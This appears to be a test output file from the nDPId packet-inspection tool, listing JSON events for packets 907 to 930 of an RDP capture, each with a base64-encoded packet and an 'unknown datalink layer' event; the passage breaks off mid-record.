+00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":907,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":16531,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EClHnOo\/UBAf\/gfIAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":907,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":908,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":16660,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hTEAAfwYoT8CoAo6sEAK5DT3NDkec6j\/5vQ96UBj4niPbAAAXAwMAMAAAAAAAAAEfiVgDpaUN\/P8rYJHi4cMNdtzOFEeDX8musA4UtxJ2xnGVKbqV4erQng=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":908,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":909,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":16865,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EClHnOo\/UBggAK7cAAAXAwMAOOAIO32NJwvrwr6Qo9peQWt64n4urR1msWmwUXffY1r4oR3HmGxoQZ2SUQ7IJxqTTqVHeJ\/mEgSl"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":909,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":910,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":16984,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hTUAAfwYoTsCoAo6sEAK5DT3NDkec6nT5vQ96UBj4nn4JAAAXAwMAMAAAAAAAAAEgZQjXJA3bOJYCJ5OUFEgiBYxPLxTkCAuWevmTh2ApLQ68ALcVUTb8lw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":910,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":911,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17247,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EGZHnOp0UBAf\/gdWAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":911,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":912,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17353,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EGZHnOqpUBAf\/gchAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":912,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":913,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17452,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhTkAAfwYjicCoAo6sEAK5DT3NDkec6qn5vQ96UBD4nruMAAAXAwMGbwAAAAAAAAEhH+NxilRuDKNyog+jS3eWoih1bkvcU6i7jTRb9gVUhOq4MXUak+XxTzqxSFTjnAfaoMXlPNvUMOcLIXIij3vIlr9f+qpyrVDxADI5bSvTtwFU\/GsoPmwUH9UE\/NJ9p4nH9rwsXM3FDqq7Cqmn45mE\/azzZkO273FXag3x0EcXt79\/S6+6\/kaqQr9ObYHzSsM6d+mxOB7DCjNAa\/JhqZc0wsXm0JJHLW1v++oT7sMknYyC2XXeW3bjeyemUbnBYo1UQKyHrgfZZfFr\/Zb4gbYdfIbdkebYgTthPtafBhxeuYMm25uFFhc9tCrNym2ZY+0gfm5UfI7LshjKr91UPGwGi2HpZgBJAfXGoqJTzdmAJqI+ajplO\/\/pZRiaiukWN6MRob4MNZldpek1EiboZvRogt1\/7dQWtcI0wsj1Xw5iEClwrcwJmSVJFX12VRFfy9EN9CptVwJoMeMkY9bwJlINkA7h\/7gDnexOmncH9NZ+09ZtxDY+xu1AbPxz75QMHJVvqx0DBUPKmy2bbM1lhFAqQ0P+tHVDDf2yEs+VFhYcrUwIWYqEWU8oYVZY7+b+ehA0u+7xjcnXUXGtSkimldIJlY4mQxmpNtU9cLgiIXQu6t1C+lOVd\/BlCKeXZktuCZuofJ6PiRUwro7pSIL1kQebb9dEwRzelCEb9rluErEcpg9CzfGodABgVThw+FR337eIPJGlQFdxgrTJxz3nD6m3ZrWHGb2I\/NPV9JiToqYOaybT7qDkGOxfxMYKnfAx0Ypbx4RhvuSK3EAZQ5npyWBz9V10s5GgM2IrOxDTLlW6fW99VcaPwh784WibiqqgL7lQVY1KWIqDkoJR9JW2DalFofnyWaSkEVGtpNiIU+W\/XGtpjAfh9iCUdVPzv7tlxqt6mtuNj15hnTb1w8BTF0u5iSM48BNuDhHGn3IjHfpfRSgMHHX1sYXT8+wCmF\/dthA+B9jDcNROJPs37\/MlJiLwiTl8uMeh7fa39kMB4kkgUdJUGE7y8fEQrVGlMf1M4+Iwic82z6N3gjqda5mcnBEiKcWpEKRxKkMDh2m0cF0uhJUVklsawWwmaRGXF5+MBNLSMcupnkNAGcEE8On3NSN3\/wB8lUN26o16aKbsK+QpVchx8TOSTIOU1mNqLZPb8oBBaHU\/soSmVI\/axBkkE+hHI9DBCd+OQ3XvSZ28fjkTHbKIhDaA+K96E09syqzCetseQ1Sat\/O6aMv9etKPgrnOXXVcySpZD5SoU7wymLwBWlJK0e43vkeFqndX3o5Ee+ku6rkqHJ4LxNoTT+coaSOwnORGcfqgFuMSxgxHDZTZPU0BW95zqv9mrkdJBZR9Q9NzCSrKBAEXhXBXHgQGCSO6xqGGWOaoQIC0DQ53Z9t\/cH\/ExoJcx43tqhHYlnVk8RvN96uk\/jLvt7xqMBN2r0VLz8LBFjgHGMUd96Xi\/1YpwZovvpY0eXnrqKSz\/2Lhw3WDnzAH713sKOeva0ss+w2i6vNUuQd1nlXs8neI3xkDY\/hs70gDllcTPkwWcegm\/BkKNQVxHMLh0CBnc0KaQXH+qU9PP9X\/HQaf2AI3O7\/WzPiGVBzLW26I8kvJtd7hbJuglXbf6vy\/EdbOy\/jzbJMyzBldC6g2wCHqDrMnSDHAQhGojtqe+75K4NTg3UUXipjIiRiA8Zn42TSBj6Fh"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":913,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":914,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17536,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhT0AAfwYnBsCoAo6sEAK5DT3NDkec76L5vQ96UBj4no6nAACwipyQzn7ZrwUiqVyOzlJE5KyhCICsgYg7XAU364IMhJJ02\/hKIDgxn2ocJMlXBK0DKuV4uFhZu1WCltJEzfbQ\/azzZq3FO8Z1eA4rW1lGowT2LU57k6puekpJD2NYqQPqcRhHNIA0FnKbOx2PElb7proJf6j3TTChPVtSl8SUjgZDHs\/qg6\/CfzAfFvKiulPVRZt8aLpmF+hkkhFmf8NIiHSgFSH0py47bi9o7WN6DiqSGyfwgANrTDuq20wHbifW0l4+FIFJ40P90Bx\/8dtwBboFtw3HdoSfO9zJRsVQFvsDtru4ZLpxxdMBsoKaGhZdiCp2bKy2\/qJxE\/6w6cGAz9h2iwPW2wXP3mMvRWp5lzOi+F5cnepyIRj\/I6ogvhLDEnulQUNanzzI9i+vs5ARZ7bP9BRREWZakl9g73ZR03QZ1+O7vR3CIMLxerrrAeCAF9Y8aABC2rHcwMRBW4koZ7RUFmkxkfjAfJ6nHGJjDs1e\/p825dD7aR5j"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":914,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00421{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":915,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17828,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9EGZHnOqpUBggAImrAAAXAwMAMOAIO32NJwvs9Vb0kGtYP0CTW5QHBHTcnEjqyDTaAu8bhjsGtvTPGzUl6sdpc14Jvg=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":915,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02080{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":916,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17938,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhUEAAfwYjh8CoAo6sEAK5DT3NDkec8R35vQ96UBD4nvGyAAAXAwMGbwAAAAAAAAEik5usvyycONzeaU1RLfxjHW\/ePUsjmWkTqxk9F9cIFE1azYDsi5ZNGT5VQa5OrZrEfxMQSdA4E\/vCDUROLyU9lnDkC4wkA3EMLUE5eRyLwnMUcbQ+oO4YbMQ4Gjits9\/M3MKJijpsDcgyJKo3Khv\/emM5nprtWml8e8YOF4FYFHIhN2DyHnNWlCC9UPV8CyGi2BwAB6KYVNYU\/i67q72iscDfSTL0HKH7V7uH\/d3xgQPKMH3G5e8tqTGCRxXN+gOsSnf7GuxT1Ffa49D4zIhk+ZrLJ+7oGY0vwYkaaw5KKMNsyP0wCVlThuRyAp6aYj9Qp00MyHvd9oSgTWFXrM9yZe9rwozmelxaZIr69KTQMjQZwBEgk+BfZP8S++qhtLHM4tGhaEqWWgd4cReYIRNvB0OrXcF6xE5eqD9Xt+eRFH4jYbgkP5Zgw32xdLl+qgx2epcxOFX7q7DsRaMl6HK5cNWbwLzbnLhLoTct0gSTwIrpM6pnM3bC5odOhZNEt5hoZ52hwC7wDch8lX6gr3Xu0myrygeNnO8WnoRXmUdkOkvtS\/b\/6cL5ep6l4w1MCUAe5vRXxRBrmoZ5rBUj6eIqJPMWuRhN4QRY4vaZOFjvly6bYmCgvVNbTMfyzxQPSL+SRYlRloEFhFT8NDhbuRUKnoYDztYFltR6VUW9jlnm\/iaONH5AslYD9ImILEJG5PCLcwAhl6JiLg6rBSs0phk4hl88X7Kihirx9GSwMMazc0EMBTFQKoUaRkklUVrUsLcDHusCHdsdKLCq8HxhunyxVbyZhwp7A\/8OMsq09+7bXpZdOV8S5ADtZdKEasd35Dk5SpPiKeIMUnn8aKQefQBguQ6R4R+uCF\/E5oUYReFtKjkgPFA7CHZvwuMgb5iW3\/ampepHFZ18fma0suE3WVI7c3neicXbCakkuD36puV\/12xPn6C4sOVYPLlvJFqgfTTkQHo28crYnPFW8ZbNHhHrHFE\/4sI8t5nLH2oSsXBW96CGWsz8Io67x27\/cMWOADyQAjSi7e\/vviGS\/E2MtUqmfydRoNwuiXbeC6Nn+yrjjhJnOOu5Qa\/eXc6k0rvw3WBLI76LNzI+2QAa2oVL4VynYJTlaHyF+Cx07wlJH0Tg3BOj6+nA6KlmL2XUWeMAt+vBmNM0oMNcd69RjNMhlehHZCMCtIlnuEUvLnxJVd8uNftbpwU\/lwHsfUE6R5+eBWg3d0shGs1t7gfMMgSYw58rL1Dbvks9wEE9\/pZxJpXxz\/JsBOl26wMXIFhUifHAPYYe8RCeM+fsehS6F4UnCKgcMr7mWFRaSl\/VrBUUl\/e\/WC5CTy0nijBSwHegqfaKqb5XLUxv+HJdxM5yZHgeyO5Nd\/TOxJNQBioq6spdGmUMpZtwebzESjh5QiUqTqDkqD732A9\/JAJM+f0HOeliM0TwgEcfKVzbC0j+bzO4LuelenZETrDXLGEMuJG0\/\/4\/ZJDJZZ3jawRZYEe5AiAWhoRGoapQ+siF8ZUmiCQc2RYVP9CMksTjiAT+0bn0+O7IKUJ+2QDoba0KjU6Qq9QopblJxjbAi3jAc9Tss3frVmmLjre48pnXhG\/+RWRG9OvWSHNZlFLx+x8rwDYz146n+6jhWKQOoJ7afCqp9Lc02MktrhstA6ky+aiz2Eg6AqhJ\/mcPITR3xaUt1lHiFYXo"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":916,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":917,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":17972,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EJtHnPEdUBAf9ACCAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":917,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":918,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18283,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhUUAAfwYnBMCoAo6sEAK5DT3NDkec9hb5vQ96UBj4nm7rAABJLa2G6v7wPTu0oxY2myfg6uItyT9ycAmSzNkNRp5JfXeUHbxi38pZvsWOOnWNpvM+bJC4mUEzizVRD0Zbce7tiNdV\/CiyILdZ4Ps\/n861MgZamGENSr3LOWThA0\/HzMohDAm6eECsgf7Se62gz\/1X6RM39P6R6k1upQ\/AepZ5TOpj2AZsSd7FDsRqJ4JhwEMojExmaAH\/LqVJlmJ01CbPrsI\/ZfrDk\/APvtnGWn+YGJj1fCbuuKwcLA8Vhk4a5x1KX636nHerGpBpd1sogaV3dhT\/3kEabDARovNy7Pm+bzKzf1HZsqOCOMH4VkZFf2BfmTpvmjGxujS2wu7Uz20MUbHLH4dRC63Hgh8zXmBG3tJgSTK0Z4bQpIdYZE+QeGtU8g+NXxaUkxj5tpzFV5CWHoWRWzT8LFLOGKxidIewRw2s0IzpQVrNwD9e2gFUtAippV7mTwxizaI74XqEncsQR+uYbrfJ5OIE4zxiR4wKEfOexTkVkjbCVnOR"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":918,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":919,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18317,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hUkAAfwYoScCoAo6sEAK5DT3NDkec95H5vQ96UBj4nvdmAAAXAwMAMAAAAAAAAAEjmsvv+ky\/89rIR\/dWvO8MB2FtK40txnw2dkz5W8G4COPMTwvkYqbbsQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":919,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":920,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18325,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EJtHnPeRUBAf9PoNAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":920,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":921,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18350,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EJtHnPfGUBAf8vnaAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":921,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":922,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18462,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hU0AAfwYoSMCoAo6sEAK5DT3NDkec98b5vQ96UBj4njLXAAAXAwMAMAAAAAAAAAEk2INzR+Dj0M+SvnCf7nePb2dYujO9RYHmSYbib0kSak3Cm0Odk5\/d1Q=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":922,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":923,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18502,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9EJtHnPf7UBAf\/vmZAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":923,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02076{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":924,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18618,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhVEAAfwYjg8CoAo6sEAK5DT3NDkec9\/v5vQ96UBD4nuuSAAAXAwMGbwAAAAAAAAElUQwXU3SjvwY9IlsmWPeJcDp\/CgAEJnspVfjIaDeI7aymeIYlSIS9427pEWkIPWhCw00v8kDTJ99S6ZZ89+wLK2tZRIu2bN6\/+7i90iaaYnzwN6qkonAf\/q60dN0tlkQmC2WjNIukGgN+bi2R3jQ1rhrpNTKrn2S1KLzBRA6EpufKtj3dlMe9M2n7Xvw\/\/iHOevt2f5Q63Gip9AYvUbgw2gmMu3thNbQ2cVRAlmejAbDrLwc3e4kjAkG8NLAMWfLvbjYhXiDfXvPZOVd71sEWaGpaXHpW1WVGAWX\/Yj7JbmpAVkJd5DevtLWUN1zDKooixWFMO\/EiWzxYubLOz8qYIB0SrAAeMk+GGAJ32d2nhlT50HTjDO9IgPXvQdpFkIvaCDZGwznOZJqYDNaxPDBAF8pgrND9PYQJxA5YTHz6Z3fzPna+I8BSgF\/y3m1ljaK7SwDwl2elaXMw3\/KTU6g6wf\/260Wk7qzjgADOVW2rSjdm+lCcQLtVgdWYYxzFWHeeGUdm9BJMIV2ly2sOyxq7sMW1sDdo4V9TEHpZc6qoNsoJ6jBoGl97p0URS1uh18SWS3m+JvGD1Yy5f2UTnL3ppTc3UYjNbj6sjb7vQn7OrP3wqQYsTh\/MRXQfsBucDbwbqkz3nQgOzz+uDWk+F3NvyK0rDh8PiKvohcxe6J6Q841F2eCS0eXEZ7+QYcq3AtngJRD6xkjXjt1aeQMkQULAmRBoSN3BtxakQ9vr\/qRc2hGP1soPk4sVyLRKEP\/7y1D8UOkjD98HuukYtPpsQzKc0FIjspX0cO84OWNLk+7MEZ42MKYERPJde\/tSnEtJemR1ZUiHigmWvXZHVQKfVaUI+o4vGZFisSovDnZkK5KP0poY6V6mxp6aLzwzgQOh1LVbluzPeHb4Nn05YgiGAtPavuwl3lZG+f8wksXzyQIwYCdgdBFnzr0slUJyebTTv1GKtjAVWWm4QT8zCROuLAFUMgosSjcaRAO7nTbLFnsnZC05+NdWAKUeQkxmRLfHY945183w3JPgcZSN9wc\/OKepzLZ2xYk11oLICnz0X0V08q9NgPxaCLz+IGpJHd2yUg0zgcZ+PLAcYd0v2KTYr+T8CBXP+1bXmWaUnuKNYjII6moyulQ\/fEFmcxlMZbf6Mf+KSMfEKt7MkTZE\/kiaYAmbZDh0smZtDImKaKBC8v\/AjoITBx86Kda\/H0ERf+degCswh2dThYIHMmbnypKc1Gk5XQsxP6nX1rc5I1ah5mENjq3btirn6oMjgbyplH5\/1zvF7d+PBM9ee463b\/FG4ijLQSE3kR2HWAfKo8QUqQIMy+iSZp+alq4+dLzNQ8vQjBB4DCK4WUtTvQwKbsK10BZq7OTnbujzlzB4+pCQrcsjuPD0hneeqU\/I7M6aqzfJoQtkp8oH\/8k5xc31kcRCwZvFZHwSkW7T5as1MKYhCYS0M6mTeeQ9iS8FBmXyIiojNA6yq\/Vszz80wOoQMHK9EohEutNVzni+hxbjt3DfMxCKVpffS5qOHMrxceeXEEdVW2yzx3gqeIqGt7NpLgHwZZEmGW5W23IdCyFFTDtQce4K5h3fipCIdO4KZePDAXAS3S9ERUJQi5cS\/kgtWVRkyaaWxA4JGNC80oCY+AjiC+D+ojfD+QhFljDT9xqMpBGGHnlLsCz5njI6\/2Z70UpB"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":924,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":925,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18706,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9EJtHnPz0UBggAJZiAAAXAwMAOOAIO32NJwvtZvD6wU9FENVravlt+z++mEO8n2VZkD\/MAAM8TCtX\/bNUAVrSzw7dLAFyDHYH+Qwq"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":925,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00865{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":926,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18848,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNhVUAAfwYnAMCoAo6sEAK5DT3NDkec\/PT5vQ96UBj4nmZ1AACfwMHQwqXfHlYe622rbpQpu6uWyoH7\/cZbnMKetA5uggqLsWTRNqSYqnEjTaxbEl7oQrgzRkK039TCiROmlXmY\/SfrdC9Lqus2Ks+JC9XXKKJsQtCbw9GyK4txWB7oroH4SvU8J2RfCwpjgGw2fpK\/1TUwWFBg\/WuhyK5AG\/PLUGZsmEE2yarWYbtdGNbgRFYoZt2ChCCYMXjilC0MLm5Pgp9qo7CWDgmBtZ2wg7kLhJdvabKhAuQ4jkGsXVniBNFdQ0LELnzIL4+fp3QtZjivI0tCzQd2ZMumXrv+03P\/deW7LwwN3boxQbRO2d0BKWVTLMjk6e7PzUf8lH1rtrc\/hWf4sOuQu+WcZNE4OXAzK5vn+SgWjd21n5S9yRS0AaFpSeH3AImURo4EpUr6O2\/HlIevAVE4WN2EOq2SA8WAh6hTFNwzssVI+o4mA0lT14\/q8RcohXyPWk9X7bDvhZwNMgEogIih3tlbqyOCVARu6O1AjDxR83C6tWc9"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":926,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":927,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18878,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1hVkAAfwYoRcCoAo6sEAK5DT3NDkec\/m\/5vQ96UBj4nrAnAAAXAwMAMAAAAAAAAAEmbrakjwi+y9ZWOoIp2bvPB4q7uaRvWl6Q\/ikYkK72QYUIooWqTj\/d6w=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":927,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00349{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":928,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18888,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ENhHnP5vUBAf9PLyAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":928,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":929,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":18907,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ENhHnP6kUBAf8vK\/AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":929,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02079{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":930,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207471,"pkt_ts_usec":19058,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFhV0AAfwYjgMCoAo6sEAK5DT3NDkec\/qT5vQ96UBD4nsR5AAAXAwMGbwAAAAAAAAEnUFr8n+E1IVHFQQ2Jy6oBObvjszdb8ziaNBNJNbTxsRkhpJVMp4\/YENSu1ji6KkY68kfja1bBghoZUEUjmH6fq\/gM5Bb8TeHBpNZL4xWdvldBoyTD7NyD0hPuJKxi8zwazAIWqKZZtSSz75uraY2osJ9FZx7euXknR8zWHEv5DlE8f606er16L90698MuuB+c7MICWOa7tywx80GdwrgDRDIXMqEUOyzt21e94dhZAna8p\/93+4rQ5yw0v71bt2eHss6K4gDiS60nFoLVdp+3d2py3SERgp+x+PA\/zUJzUbSsPs0s8vAYPbEICnS1muX2H3FAaWAlCB6vmp8Kw\/AkUDilCg6Nzz7cb